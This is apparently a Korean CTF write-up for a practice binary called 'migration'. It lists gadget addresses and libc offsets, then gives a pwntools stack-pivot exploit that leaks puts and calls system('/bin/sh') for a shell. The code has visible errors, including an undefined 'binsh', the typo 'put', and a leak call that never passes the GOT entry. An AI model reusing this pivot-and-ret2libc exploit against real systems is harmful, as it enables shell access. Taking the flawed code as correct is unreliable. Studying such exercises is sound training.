# 보호기법 확인
# Process
Leave_ret 주소 : 0x8048504
Bss 섹션 크기가 8 바이트밖에 안 되므로 dynamic 섹션을 사용한다. Dynamic 섹션 시작주소는 0x8049efc
pop_ret : 0x804836d(으로 사용함)
pop_pop_pop_ret : 0x8048569
puts_system_offset : 0x24f00
puts_binsh_offset : 0xfbd6b
# Exploit Code
from pwn import *
p = process("./migration")
elf = ELF("./migration")
dynamic = 0x8049efc
buf = dynamic + 0x600
buf2 = dynamic + 0x800
p3ret = 0x8048569
p1ret = 0x804836d
leave_ret = 0x8048504
read_plt = p32(elf.plt['read'])
read_got = p32(elf.got['read'])
puts_plt = p32(elf.plt['puts'])
puts_got = p32(elf.got['puts'])
p.recv()
pay = 'A'*40 + p32(buf)
pay += read_plt + p32(leave_ret) + p32(0) + p32(buf) + p32(0x100)
p.send(pay)
pay = p32(buf2)
pay += puts_plt + p32(leave_ret) + p32(0) + p32(buf2) + p32(0x100)
p.sendline(pay)
puts = u32(p.recv(4))
system = puts - 0x24f00
vbinsh = put + 0xfbd6b
pay = "AAAA" + p32(system) + "BBBB" + p32(binsh)
p.send(pay)
p.interactive()
System 함수 call 전 AAAA를 넣는 이유는 leave ret으로 인해 ebp+4가 되므로 system addr로 eip가 위치해서 다음 명령을 system을 수행할 수 있도록 하기 위해서이다.
# Exploit
[TAMU 2019] pwn5 (0) | 2020.05.31 |
---|---|
RTL_x64 (5/25 포너블 실습 문제 만들기) (0) | 2020.05.28 |
[HITCON-Training] lab9 playfmt (Double Staged FSB) (1) | 2020.05.04 |
[ROP Emporium] pivot (0) | 2020.04.20 |
Limited Book (0) | 2020.03.26 |